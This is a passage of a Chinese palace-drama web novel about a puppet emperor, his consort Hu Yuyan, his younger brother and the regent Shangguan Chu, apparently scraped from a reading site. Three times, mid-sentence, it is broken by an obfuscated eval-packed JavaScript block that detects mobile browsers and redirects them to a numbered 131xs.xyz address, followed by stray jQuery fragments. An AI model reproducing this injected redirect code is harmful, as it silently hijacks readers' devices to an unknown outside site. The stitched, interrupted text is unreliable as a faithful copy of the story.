赵长昭眉头紧皱,盯着来人,拳头紧拧,目光像是要吃人。
所幸几人不过是在屋内转了一圈走走过场,便欠欠身回去了。
严子虚松了口气,又走到赵长昭面前,忽而将手背贴在赵长昭额上。
“你在发烧。”他道。
赵长昭依旧是一副失魂落魄的模样,他抬眼看了眼严子虚,语气淡淡的:“老师,圣贤书上说的忠君爱国,到底算什么?”
“君若昏聩,便该被扶持。君若无道,便该被推翻。”
“老师,当今陛下是昏君吗?”他追问。
严子虚知他的意思,亦是拧紧了眉头,“长昭,世人行事皆为名利。大道理是拿来哄愚忠之徒的,真正的权谋,只有四字——成王败寇。等你立在顶峰,自会有人替你编一部圣贤经义。”
赵长昭眼神颤抖,不敢去想上官楚倘若真的弑君篡位,千百年后仍有人为他歌功颂德,那他们此时的痛苦又能算作什么?
严子虚伸手去拉他。
“走吧。”
赵长昭腿上一软,险些栽倒在地,他咬牙撑着,眼眶却已泛红。
“老师,我腿伤得厉害……怕是走不了了。”
严子虚很是自然地蹲下身,“别胡说,老师背你。”
赵长昭看着眼前人瘦削的脊背,又摇摇头,他转头看向内屋,气息轻得像一缕烟,“我走不了路,有人愿意背我,可玉烟怎么办?”
严子虚目光一凝,似是叹了口气。
赵长昭喉头一紧,他死死攥住严子虚的袖口,低低呢喃:“是了,我什么也做不了。”
“自我入宫以来都是她陪着我,如今就让我在她身边多待一会儿吧,我明日,我明日自行离去……”
赵长昭嘴唇毫无血色,双颊却泛着不自然的红晕。严子虚想劝他离开,却又被赵长昭眼中的破碎震住,他活了半辈子却惊讶于一个不满二十的少年身上痛意,他终究没再说什么。
夜色深沉,赵长昭端坐着,目光一直落在榻上的胡玉烟上,一声一声数着她的呼吸,生怕她胸膛的起伏会停下。
他就这么守了一夜,胡玉烟始终没有要醒过来的迹象。
天边晨光熹微,赵长昭看着惠儿将汤药硬灌入胡玉烟嘴里后,才起身步履蹒跚地离开。眼下快要入冬了,他衣衫单薄,每走一步便是刺骨的冷,可他却浑然不觉,直到天空中下起了濛濛细雨。
他忽而发了疯般地想胡玉烟,凉风吹散了他身上的热意,令他头脑异常清醒,他忽而前所未有地确定,就在他绝望之时,他遇到了一个想要相伴一生的人。
赵长昭确定了这一点,脸上不自觉地勾起了一抹笑意。很快,他眼前一黑,下一刻便意识全无,栽倒在了地上。
一阵寒风入窗,胡玉烟静静地躺在床上,胸口有规律地起伏着。
她意识昏沉,只知自己提着灯,在黑夜中一直走,她不记得自己从哪里来,要去找什么,脚上步子却停不下来。
耳边似有风声呼啸,似有低语絮絮,忽远忽近,仿佛有人在呼唤她的名字。她心口骤然一紧,提着灯笼踉跄地快走几步,却只见四野漆黑无际,灯火下照出的,尽是无边的荒凉。
莫非是追魂索命的恶鬼缠上了她?
她忽觉孤身立在虚空之中,前方却浮现出一条模糊的人影,似在等她。那人背影与她心底最熟悉的一人重叠,她忍不住呼出声来。
可那影子未曾转身,只缓缓远去,步子不急不缓,恍若故意引她追随。
胡玉烟心口酸涩,泪意涌上眼眶,她提着灯,拼命往前奔去,却总是差了半步,永远追之不及。
不知过了多久,她跌跌撞撞向前,恍惚间眼前的黑暗忽然裂开一线光亮。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333482|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她看见有人立在床榻前,逆着灯火,眉眼清俊温和。
她脑中一片混沌,竟然一时分辨不出这人是谁,可梦中虚无感立刻追上了她,她此刻只想抓住眼前这个活物。
胡玉烟拼命瞪大了眼睛,看着那人的面孔一点一点放大,看着他满目的焦急,看着他开口在说些什么,她却听不到半点声音。
她手上下了死力,想要抓住眼前这个活生生的人,她想确定自己也是活着的。
下一瞬,耳边忽而传来了一声急切的“玉烟”。
胡玉烟听见自己的名字,心口猛然一震,恍惚间认出了眼前之人。眼前却骤然一阵眩晕,重又陷入黑暗。
意识消失又回笼,绝望如潮水般自四肢百骸涌上来,她恼恨地将手中灯笼摔向地面。
唯一的光芒熄灭,黑暗瞬息之间将她吞没。
倘若这便是死后的世界,她不想一个人被孤零零地丢在这里,她重复着自己的名字,想要就此放弃抵抗。
“玉烟。”一个声音自远方来唤她。
光亮处,一人缓缓走来。赵长曙在她身侧站定,没有龙袍,没有高座,只有一袭寻常的青衣。他神色恬淡,眉眼间带着她熟悉的笑意,伸手来牵她。
胡玉烟红了眼眶,她发现自己竟也穿着从前在王府时爱穿的浅色衣裙,她被一股力量牵引着往前走,每走一步身上的沉重便消失一分。
原本的黑暗一一散去,院墙上爬满藤萝,春风拂过,枝叶摇曳,投下一片片碎影。屋檐下挂着风铃,风一吹,叮铃作响。
院中传来孩童的笑声,一个小女孩穿着绣着海棠的小襦裙扑进她怀里,糯糯地唤她“阿娘”,男孩则在院里追逐纸鸢,跌倒了,立刻又爬起来,脏兮兮的脸上挂着笑。
胡玉烟歪了歪头,反应过来后会心一笑,向前奔去。她方将小女孩拥进怀里,忽然间天地旋转,再回过神来是赵长曙倚在桌边,手里削着一只小木马。
“舒郎?”胡玉烟有些不解地眨眨眼。
“怎么了?”
赵长曙听见她的声音,停下手里动作,起身亲昵地拉住她的手,胡玉烟察觉他掌心粗糙,便取下绢子,细细拂去指缝间的木屑尘灰。
画面又是一转,柳枝低垂,湖面轻漾,赵长曙命人备了画舫,扶她上船。
胡玉烟心里满是安宁,赵长曙始终握着她的手,眼前的画面飞速略过,她看着儿女们一一长大,她为儿子娶亲,又送女儿出嫁,等到她生出白发,孙辈们又在榻前打闹撒娇。
赵长曙将那只雕得拙朴的小木马送给儿子又送给孙女,他眉眼弯弯,笑意里尽是满足。
胡玉烟与他相视而笑,看着儿孙绕膝,直到鬓发渐白。
他们已白发苍苍,仍旧执手而握。
胡玉烟低下头看着自己满是皱纹的双手,她有一瞬间觉得一切美好得不真实,随后又疑惑自己怎么会冒出这样的想法?
她心满意足地合上眼,将头枕在赵长曙肩上,就在她快要入睡之际,肩头忽被轻轻拍了拍。
胡玉烟睁眼,怔住了。方才还是老叟的赵长曙,面容成了青年时的模样,他眉目如画,正是在一个男子最好的时光里,可他身上穿着绣着金龙的华贵服饰,眉宇间是散不去的哀愁。
她怔了怔,心脏传来一阵剧痛,一行热泪自她布满皱纹的面庞滑落,她忽而意识到了什么。
胡玉烟尚未出声,便见眼前画面开始一点点破碎,风铃声远去,孩童笑声消散,花影亦渐成虚无。
她眼睁睁看着赵长曙在她面前化为飞灰,紧接着天地间重回黑暗。
“玉烟。”一个声音从深处幽幽传来,“你快醒过来吧。”
14. 丹桂(一)
胡玉烟缓缓睁开眼,眸中一片迷茫。
她一侧目,正瞧见太医在她胳膊上密密麻麻扎了好些针。
太医见她醒了,大惊失色。
胡玉烟下意识去摸自己小腹,那里一片空荡。
她已然清醒,知道自己睡了很久很久,做了一个很长很长的梦。
有人轻手轻脚地推门而入,见她坐起,连忙惊喜地奔上前。
“烟儿可算醒了……”
来人却是严子虚。
“舅舅。”胡玉烟没想到能见到严子虚,勉强勾起一丝笑意,淡定的像什么都不曾发生。
她看向窗外灰蓝的天,一时间无悲无喜,只是莫名地觉得每一根骨头都在回响疼痛。
“此处是宫女的住所,烟儿往后就住在这里。淑妃胡氏已死,这是陛下的意思。”严子虚盯住她,关切道。
胡玉烟只是点点头,目光低垂,片刻后问道:“十三殿下如何了?”
严子虚实话实说,“十三殿下受了伤,如今还下不得床。”
他顿了顿方又道:“陛下回宫知晓此事,当夜去了长宁宫砍下了高氏左臂,高氏已不治身亡。”
胡玉烟的心跳漏了一拍,她霎时瞪大了眼,满脸尽是不可置信。
严子虚担心她受刺激,忙道:“烟儿莫怕,已经过去了。”
胡玉烟的眼眶蓄满泪水,又不停地溢出,“陛下,他……他……”
她张了张嘴,喉头哽咽,却不知该从何问起。赵长曙杀了高氏,要如何向上官家交代?上官楚敢毒杀赵子明,接下来又会如何对付赵长曙?
“陛下如何了?”
严子虚沉默半晌,苦笑着道:“今日皇后出殡,陛下亲自披麻戴孝,捧灵位,步步叩首,亲送十里。”
胡玉烟嗤笑出声,好像听到了什么天大的笑话。
上官楚占着摄政大臣的名号,却是实际上的帝王,他们赵家兄弟算什么东西,可废亦可杀……她又算什么东西?
赵长曙拖着疲惫的身躯回了寝殿,一脚踏入门槛,便将满身丧服扯扯拉拉地撕得粉碎。
那素白的衣料在他指下脆弱得像一张纸。他将那些碎布一把丢进火炉里,火焰哧的一下窜起,将那点白吞噬殆尽。
那一夜之后,他再没有上朝。
宫门重重紧闭,谁来也见不到他一面。每日只听闻寝殿中传来酒壶翻倒的声音,一声接一声,细碎而执拗。连贴身近侍也只能在门外伺立,不敢上前劝阻,只能任由他一杯又一杯,饮得天昏地暗。
有人说陛下疯了,也有人说皇后急病离世,陛下情深不能忘断。
上官楚很自然地行监国之职,朝政大小事宜都一并交予他处理。
很快就入冬了,赵长昭修养了一月有余,总算下得床。他执意不用宫人搀扶,寻来一副拐杖,步履蹒跚地向君王寝殿走去。
赵长昭心中叹息,知道皇兄将自己困在殿中,谁也不见。他原本只是想来看看,却没想到门竟然开了。
“皇兄……”
他刚踏过门槛,一个踉跄,竟直接扑进一人怀中,一股浓烈的酒气扑面而来。
赵长曙被这突如其来的重量撞得连退几步,险些双双摔倒。他闷哼一声,勉强站稳,拍了拍弟弟的肩。
“秀郎,沉了。”
赵长昭扶住门框,定定望着赵长曙。短短两月,兄长竟已憔悴至斯。
赵长曙仰头将杯中酒一饮而尽,随手将空杯掷在地上,瓷碎声清脆刺耳。他披散着头发,身穿一件松垮的明黄外袍,腰间束带也未系紧。
赵长曙的面容未曾修饰,清冷中透出枯槁之色,明明还不到而立之年的天子脸上丝毫寻不到少年人的精气神。
整个人像是被时间抽去了骨架,只剩一副疲惫的皮囊。
“皇兄。”赵长昭欲上前搀扶,却被他抬手拂开。
赵长曙寻了块干净地方席地而坐,仰头望着赵长昭,道:“我出殡那日,你躲进我的棺材里。”
“皇兄!”赵长昭惊得上前一步,不慎踢倒了地上的酒壶,酒液溅出一地辛辣。
赵长曙扬手止住他的话头,继续道:“玉烟混在殉葬宫女里,闭陵第二日,你们从右侧小门进地道再出去,朕都安排好了。”
他笑了笑,扬手一挥,语气轻快得仿佛只是在谈一桩闲事,“天地之大,你替朕好好看看。皇兄这一生,从未踏出过元都一步。玉烟还年轻,她若愿意再嫁……你就是她的娘家兄弟。”
说罢,他凑近赵长昭,手指点了点他的鼻尖,带着醉意打趣:“若是她受了委屈,你虽是朕的亲弟弟,朕也要打你屁股。”
“皇兄醉了!”赵长昭一把抓住赵长曙的手,“皇兄千万爱惜身体。”
赵长曙顺势将他抱住,轻轻拍了拍他的背,“早醒了。”他低声道,忽然安静下来,“只是……上官楚不想我活,也罢。其实这些年,我也不知是怎么熬下来的。累了,真的累了。如今,终于可以,好好睡一觉了。”
说罢,他干脆翻身躺倒,头枕着自己的臂弯,闭上眼,像个寻常醉汉。
“皇兄,别说胡话!”赵长昭慌乱地抓着他袖子摇晃,不愿接受爱戴的兄长成了这般模样。
赵长曙却摆摆手,从腰间扯下一物,随手抛给赵长昭。
“传国玉玺你带走,不能留给上官楚。”
他闭着眼,嘴角微扬,像是在梦里笑。
“该说的都说完了。朕就在这儿躺着,等上官楚来杀我。”
赵长昭攥着衣袖的指节已经泛白,任他如何哭求,赵长曙只装死般躺倒在地,毫无反应。
直到一个宫人慌慌张张跑进来,“十三殿下,您快些离开吧,上官大人来看陛下了。”
赵长昭双目赤红,猛得转过头,咬牙切齿道:“我要杀……”
赵长曙从地上坐起,一把掐住他的手心,眼神清明起来。
他抬手,替赵长昭拭去脸颊上的泪,声音轻得几乎要随风散去。
“快走。”
赵长昭离开之时,先入目的是一双靴。
“阁下是?”上官卓昂问道。
赵长昭僵直着脊背,却将脖颈弯了下去,怯怯地道:“我是圣上的亲弟。”
上官卓昂的眼神亮了亮,随意拱手道了声殿下,便擦着他的肩膀离开了。
他看着上官卓昂入得大殿,又守在殿外见着他与赵长曙待了半炷香的时间。
赵长昭只觉得双腿如灌铅般沉重,已记不清自己是如何踏出殿门的。
许多年后,这一幕曾数次出现在赵长昭梦中,他明明不曾看见自己离开时兄长的神情,却偏偏在梦里数次被演绎,或温柔带笑、或失望落泪、或愤怒嗔怪。
他梦中一遍遍回头,却总也追不上那扇门内的身影,直到梦醒。
宫中的梧桐叶由绿转黄,又被秋风吹得七零八落,赵长曙将自己困于幽阁,既不见人,也不言政。章奏无一不经上官楚之手,百官进退,皆看他一人颜色。
无人再敢言“圣意”,只道“上官府定夺”。
冷风拂过殿廊,吹得垂檐风铃作响,声声清寒如泣如诉。
胡玉烟沉睡在榻上,眉头却始终未曾舒展。
忽而,她轻哼一声,骤然睁开眼,仿佛被什么从梦境中生生拽出。
一炷香之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333483|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,胡玉烟裹着斗篷,立在寝殿外。她抬手,轻轻叩门三下,声音不重,却在寂静中格外清晰。
片刻后,殿内传来一阵细微的响动,仿佛有人在酒盏间动了一下,又像是谁抬头看了她一眼,却终究未开门。
她缓步靠近,隔着那扇紧闭的殿门,轻声唤道,语气里已带了哭腔:“长曙……”
门内沉默良久,才传来赵长曙低哑的声音:“玉烟伤痛未愈,更深露重,快快回去……”
她声音轻得像落雪,末了又道,“陛下,你快将门打开,让我看看你……”
殿中,赵长曙手中把玩着一支火折子,微弱的火光忽明忽暗地映照在他憔悴的脸上。他望着那扇门,眼神空落落的,声音亦如风中残烛,“我将赴极乐……我不要入帝陵,不愿与高氏同穴……无颜见君父,更无颜再见你。阿烟……是我对不住你。”
他的声音染了重重的哭腔,“阿烟,是我对不住你,若早知是如此结局,我绝不误你终生,我……实在无颜见你……”
胡玉烟泪如雨下,她抬手徒劳地捶着门框,颤声喊道:“舒郎,你我之间何谈相怨?你不要我了吗?”
赵长曙的笑低哑苦涩,像风中折枝:“玉烟,非我背诺,若早知自己命数,我绝不求君父向你家提亲。我命薄情深,是孤鸾命,不入轮回……若有来生,我们也不要再相见了……”
“赵长曙!”胡玉烟嘶声喊着,拼命砸门,“你把门打开!”
借着月光,赵长曙透过纸窗,看见那道纤弱的身影。他将手覆上窗纸,却只感到一片冰凉与遥不可及的距离。
“玉烟别哭……”他哽咽着低声道。
胡玉烟终是支撑不住,滑坐在地,背脊倚靠在那扇厚重的门上。她的手无力地垂落,声音轻如梦语:“舒郎……我冷……”
门内人不答话,胡玉烟自顾自地说道:“年少时,父亲说要将我嫁与你,我是欢喜的,我悄悄绣了嫁衣,可王府送来了特制吉服,我没能穿上。后来命运弄人,我曾怨过,恨过,哭过,我捧着那件嫁衣,坐在残灯下缝了又拆,拆了又缝,最后终于放下针线……如今再想起,心中竟无波澜。”
“我的孩儿没了,我在人世也无甚惦念。”
“赵长曙,你便答我一句——可愿说我与你缘尽情绝?可愿说我再不为你结发之妻?可愿说你我旧日深情,不过镜花水月?”
胡玉烟复又用力砸了一下门框,“赵长曙,我自始至终未曾怨过你,你却总是避我。我心中寒冷如你,疼痛如你,你说不忍见我苦楚,可你这般回避,才最教我生不如死……”
屋内人始终没有答话,夜风冷冷,胡玉烟的身子一寸寸僵硬起来。
“赵长曙,我走了……”
门内一片死寂,唯余风声穿堂而过,将两人哀恸的心事,一寸寸吹散在这无边的夜色里。
胡玉烟仍靠坐在门前,泪眼模糊中,只觉殿内一阵异响。
风透过门缝吹入殿中,随之而来的,是淡淡的焦灼气味。
胡玉烟猛然警觉,身子一颤,几乎是爬着扑到门前,拍门声几欲碎裂指骨:“赵长曙!你在做什么!”
殿内火光骤起,映红了窗纸,宛如落日烧破长空。
“赵长曙!”胡玉烟哭喊着拍门,声声哀绝,早有宫人惊动,奔去寻人。
不多时,一群内侍与禁军奔至,破门而入,只见殿中火舌狂舞,书案、帷幔皆已陷入火海,赵长曙披散着发,已倒在地毯之上。
“快救陛下、快传太医!”人群惊乱,四下奔走。
赵长昭不知从何处赶来,忙捂住一个劲想往火堆里冲的胡玉烟的口鼻,将人往后拖。
15. 丹桂(二)
大火延烧经夜,烈焰噬空,直至天色破晓,火势方才渐歇。残烟尚缭绕宫阙之间,焦炭气息弥漫,衬得宫墙愈发阴冷。
赵长曙早已昏厥,被仓促抬往偏殿,由太医诊视。上官楚闻讯,彻夜兼程入宫。宫人只言陛下醉酒失手,烛台倾倒,引发灾祸。幸得扑救及时,并无性命之殇。
赵长昭无心关注外界事,他跪坐在地,只知方才只差一点,他便要失去胡玉烟了。
荒殿中未燃灯火,胡玉烟脱力地倒在地上,她脸上和手上皆蹭了些碳灰,被赵长昭一点一点擦去了。
凉风一点点往殿中灌,赵长昭冷得直打颤,赶忙去寻了床被子盖在胡玉烟身上。胡玉烟一睁眼,正瞧见一个模糊不清的面庞,满含担忧地看着自己。
她恍惚间好像又陷进了那个怎么也走不出来的梦,天地寂静,风声全无,只她一人一灯。
“舒郎……”胡玉烟双眼微睁,她伸出手,很是急切地捧住那面颊,随即倾身吻了上去。
冰凉的气息贴到唇上,赵长昭却是被烫了一下。他先是一愣,随即一颗心快要从胸膛中蹦出来,他不敢多有动作,只是颤着手扶住胡玉烟的背。
胡玉烟双目似睁未睁,眼波里氤氲着水色,她轻轻抬首,唇瓣若有若无地覆上他的,软绵带着一丝颤抖。短短一瞬,她又沿着他的面庞依恋地摩挲。
赵长昭双唇颤动,他方知原来与心爱之人唇齿相依竟是这样令人心魂俱醉的滋味。呼吸间皆是她的气息,他却手足无措,不知该如何承接这突如其来的缱绻。
就在他手足无措时,胡玉烟下一瞬便脱力晕了过去。
赵长昭顺势将人接住,小心翼翼揽进怀里,借着窗外透进来的月光痴痴地看着怀中毫无防备之人。
他就这样看了许久才将胡玉烟放在榻上,替她间额前乱发抚到耳后。
赵长昭浑身发热,身躯止不住地颤抖,他知自己再多看床上的人一眼便是亵渎,他站起身又坐下,一股情绪在胸腔里乱窜找不到出口。
殿外传来几声寒鸦飞过的声音,赵长昭吃了一惊,看着胡玉烟的胸口正规律地起伏着,他终究忍不住在她额上落下一吻,随即逃似的跑开了。
风雪未起,夜色却愈发冷寂,赵长昭一路疾步出了殿门,避不及心底那道影子。
如今坊间已在传天子行为疯癫,有失礼仪。
翌日,赵长昭听了传言掰断了手上的毛笔。
晨光透过廊下薄窗,洒在案上的竹简与朱笔间。
严子虚轻叹一声,语气温和了些:“殿下心中有情有义,是幸事。但天下之事,不靠一腔热血可定。你要记得,能忍者,不是懦弱,能忍至极,方可图久远。”
说罢,他取来一卷兵书,推至赵长昭面前。
“今日起,你读读兵书,想护你要护之人,先要知人,知世,知势。”
赵长昭抬眼望他,眼中已无年少轻狂,唯余沉静如水。
“学生记住了。”
严子虚背手而立,赵长昭写了会儿字,却又因躁意停了笔,他犹豫片刻,忽道:“老师,学生好像爱上了一个人。”
严子虚闻言笑了起来,“我当殿下近日魂不守舍。”
“殿下少年心性,这是好事,是哪家姑娘?殿下尽管告诉陛下,陛下心中也定是欢喜的。”
赵长昭脸上泛红,有些羞恼自己怎么向严先生说了这话。他提笔在书案上默了几个字,又烦躁地将纸揉做一团丢开。
严子虚只当他害羞,并不多想。
等到严子虚走后,他复又提笔,犹豫片刻,只在纸上写了“胡玉烟”三个大字。
赵长昭知道自己存的什么不该有的心思,他忍了几日,终究是忍不住去见胡玉烟,胡玉烟如今就住在他殿中东厢,不过数步之遥,他想的发疯。
他看见胡玉烟在廊下绣花,阳光洒在身上,看起来像是个娴静的未出阁小姐。
“阿嫂……”赵长昭脱口而出这样熟悉的称呼,他还知道自己是谁,他还知道胡玉烟是他的嫂嫂,于是下一瞬浑身都涌上了罪恶感。
胡玉烟手上动作不停,只道:“殿下从今后唤我姐姐吧。”
赵长昭手心紧了紧,知道什么东西不一样了,他道了声好。
他僵在原地,直到胡玉烟抬起头,疑惑地看着他。
赵长昭心脏怦怦直跳,连声说要走其实闪身躲到了门口。
他重重的闭了闭眼,指尖微颤,复又从腰间取下短刀,颤颤巍巍割下了一缕自己的头发,又折了后院的柳枝系好。
再出现时,他又是从前模样了。
“玉烟姐姐……”他将发丝递上,语气镇静,“皇兄让我将此物交给你。”
胡玉烟怔住,脸色变得煞白。
赵长昭继续道:“他说,今生缘分已尽,望卿再寻良人。”
赵长昭不知自己怎么会一瞬间起了这样的心思,又说出这样一番话。他眼看着胡玉烟从他手上接过发丝,他盯着她微微颤动的睫毛,他知道她与皇兄伉俪情深,若没有上官家他们该是一对璧人,他永远不可能有机会挑拨。
赵长昭忽而想哭又想笑,他怎么能做出这样的事?他毁人姻缘,他觊觎自己嫂嫂,他罪不可赦!
意料之中的,胡玉烟只淡淡道了声好,脸上看不出任何情绪。
赵长昭面色不改,眼睁睁看着这个从来礼数周全的女子将脊背弯了下去,不与他多言一字便失魂落魄地转身将门关上。
门合上的一刹那,赵长昭长呼一口气,他红了眼眶,嘴角却泛起笑意。
他错了,可他不会后悔。
他在门前站定,心中只想着,他若有一两心相许之人,即便刀山火海,也是无论如何都不会放手的。
夜里风大,胡玉烟伏在枕上咳了许久,几次几乎喘不过气来。她捂着被子咳得剧烈,竟在掌心咳出一口血来。
她只看了一眼,并不当回事,紧接着忽而又听见窗外传来几声猫叫。
鬼使神差的,她起身披上衣服,咳声还未完全止住,手指却执着地点着灯,将纸窗挑开一角。
风扑面卷入,带着点潮湿味道,她打了个冷颤,仍旧推门而出。
胡玉烟提着灯,一步步走入夜中,一切都如梦境般,可她知自己醒着。
她不知不觉走到了主殿,殿中灯火通明,想必是赵长昭还未睡。
她在门口停下,忽听得其中传来几声琴响,声音断断续续,自成哀愁。
胡玉烟听得暗自神伤,不由得摇了摇头,此时却又注意到一团白影正蹲在廊下的青砖上。
那团白影动也不动,只是抬起头来,露出一双幽幽的眼,琥珀色瞳仁在昏黄灯光下仿佛泛着荧光。
胡玉烟蹲下身,将灯笼举近几分,刚想伸手,一阵风吹来,灯火一晃,那白影猛然跃起,窜到她面前。
不是猫。
是狐狸。
白狐毛色雪亮,尾巴蓬松地拖在地上,仿佛并不怕她,也不打算走。
胡玉烟屏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333484|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住呼吸,她不是没听过宫里的传言,说是宫门朝北,易招狐魅,又说太庙后的柏林里住着狐仙,常在雪夜化形,专找心中有执念之人现身。
她看着那狐狸,心跳越来越快。
它到底是来渡她的?还是来索她的?
她忽而被风沙迷了眼,泪意朦胧,再抬眸时,灯影摇曳,那狐影竟成了赵长曙的模样。
心口骤然一凉,她慌忙快步上前,眼神一恍惚,却见是赵长昭正自前方奔来。
“怎么了?”赵长昭关切道。
胡玉烟心神摇荡,恍若方才陷入幻境。她微微侧首,强自镇定,摇头淡声道:“夜里无事,出来走走罢了。”
她欠身行礼,提着灯笼,脚下行错了一步又带着几分急切,自顾自往回走去。
赵长昭欲开口相送,转身间,眼角却捕捉到假山后的一抹身影。
赵长曙立于暗影中,知自己被发现了,他与赵长昭四目相对,嘴角带笑又轻轻摇了摇头。
赵长昭脚步顿了顿,于是没有多说什么,领着胡玉烟走开了。
冬意渐浓,元都的第一场雪来得比往年迟了些。
赵长昭犹豫了许多时日,最终还是手中提着一个漆黑描金的食盒步至殿前。
他在门侧停下,曲指轻叩门框。
“皇兄。”他语气郑重,“我来看你……”
一个略带疲惫却仍温润的声音从门后传出,“下雪了,外头冷……你回去吧。”
“哥哥。”赵长昭的整个身躯贴在雕花木门上,“哥哥莫非忘了,今日是爹爹的忌日。”
殿中沉默片刻,才道:“秀郎今年,十六了……”
“是啊,我十六了,哥哥不想见见我吗?”赵长昭的声音里染了哭腔。
门内传来一声轻笑,赵长曙语气轻快,似是玩笑,“不见不见。”
赵长昭红了眼眶,却仍强撑着笑,“阿兄还是像小时候那样,总爱逗我。”
门后的人又安静了片刻,像是被勾起了什么回忆。
忽而,一阵轻响传来,门闩被慢慢推开,旧铜铰链发出一声低沉的咯吱。
门缝渐宽,直到整扇殿门缓缓洞开。
赵长曙站在殿内,穿着一袭深色便袍,发也未束,只以玉簪随意绾着,眼底是未眠的青影。
他轻声唤道,像是唤梦中人,“雪大,怎么不多穿点。”
赵长昭红了眼眶,再忍不住,一步冲上前,紧紧把人抱住了。
赵长曙缓缓抬起手,轻轻拍了拍弟弟的后背。
良久,他低声说:“进来吧,雪夜长,我……正好醒了。”
殿门在风中缓缓阖上,天地一时无声。赵长昭在殿中待了许久,大部分时候都是他在自说自话,赵长曙只静静地坐着,目光时而放在他身上,时而放在酒盏上。
临别时,赵长昭终于忍不住问道:“若我做出了什么大逆不道的事,哥哥会原谅我吗?”
闻言赵长曙轻笑出声,眼珠子转了转,似在思索他的话。
赵长昭胸口一沉,几乎要以为赵长曙知晓他的龌龊心思了。
可赵长曙只是浅浅勾了勾嘴角,“兄长如今脚下泥泞,回头无岸。至于原不原谅……秀郎,你若能一生无虞,兄长又何妨舍下一切。”
赵长昭呼吸一窒,四目相对,殿门却在此时缓缓阖上,隔绝了两人最后的光影。
门缝将合之际,赵长曙的声音极轻,却清晰落入他耳中。
“照顾好玉烟。”
16. 丹桂(三)
赵长昭很快便察觉到自己已不同往昔。那些深夜里一次次从梦中惊醒的惶惧,到后来渐渐能坦然接纳,也不过是时间与心境的推移。
胡玉烟如今以侍女的身份住在他殿中,这是赵长曙允下的。想到这里,他时常忍不住揣度,皇兄既然默许了此事,是不是也还默许着别的什么?
他注意到胡玉烟似乎已不若先前那般郁结。赵长昭不知这究竟是因为自己日日前来与她说话,还是她终于想开,不再执着于与皇兄的旧情。
赵长曙如今仍旧将自己关起来,整日里饮酒作乐,声色自娱,仿佛隔绝世间。他一月只在朝堂上露面一次,其余时日任谁求见,都被一一挡在门外。
赵长昭仍不死心,几番亲自前去,然而屡屡被宫人阻拦。他心中痛苦,是他对不住皇兄,那是他唯一的至亲,他不愿眼睁睁看着他活成一具行尸走肉。
直到那一日,赵长昭忽然被数名侍卫押入赵长曙殿中。
他搞不清状况,只见殿门轰然关上,巨大的声响在空旷的殿宇里回荡不绝。
几人按着他的肩,他抬眼望去,便看见赵长曙正跪在殿中央,整个人仿佛被压断了脊梁,形容憔悴得几乎认不出。
一人一袭玄衣立在一旁,浑身气度不凡。他鬓边已白,面色冷峻,眸光深不可测,神态自有一番威严。
赵长昭立刻便知道这人是谁,他心头一震,本能地摇着头后退,这还是他数年来第一次见到上官楚。
上官楚见他被押来了,将一柄剑扔在赵长曙面前,剑身落到地砖上,发出醒神的响声。
“你说你是孤家寡人,没什么可失去的。”上官楚的声音带着笑意,“天子剑,可以杀自己的皇后,那也能杀自己弟弟。”
上官楚朝着赵长昭的方向扬了扬下巴,“杀了他,让我看看你究竟是何心性。”
片刻后,赵长曙嗤笑一声,几乎是不带犹豫地捡起地上剑,他将剑鞘掷于地上,缓缓抬起长剑,对准了面前的人。
赵长昭的目光在二人间流转,他胸口骤然收紧,看着寒光森森。他注意到赵长曙的眼神空落落的,像是被抽空了魂魄。
长剑已然指到胸口,剑锋冰凉,近在咫尺,似乎只要再往前一寸,便要穿透血肉。
赵长昭睁大眼睛,神色慌乱,仿佛吓得魂不附体,“皇兄……”
他的余光始终落在上官楚身上,他心底无比清楚,无论世事如何逼迫,赵长曙绝不会伤他。
那是最爱他的兄长。
四目相对间,赵长曙看清了弟弟眼中那一瞬间极隐秘的笃定与信任。他喉间涌出一声压抑的低吼,忽然调转剑锋,狠厉地朝上官楚直刺过去!
上官楚后撤一步,只是微微抬眼,他身形未动,手腕却轻轻一翻。
“锵——”利刃脱手而飞,重重跌落在殿砖上,发出刺耳的声响。
赵长曙只觉手臂一麻,虎口裂开,鲜血顺着掌心滴落。他身形踉跄,被上官楚反手一推,便重重摔在地上。
“真是可笑。”上官楚居高临下,声音冷厉,仿佛审判,“这么多年,你可是一点长进都没有。你一抬眼,我便知道你要做什么。”
他步步紧逼,将手搭在赵长曙肩上,阻止了他起身的动作,语气不无讥讽,“我在一众宗室子弟中选中了你当皇帝,你可真是太叫我失望了。”
肩上力道骤然加重,赵长曙闷哼一声,脸色苍白,却仍旧勉力撑起一抹冷笑。
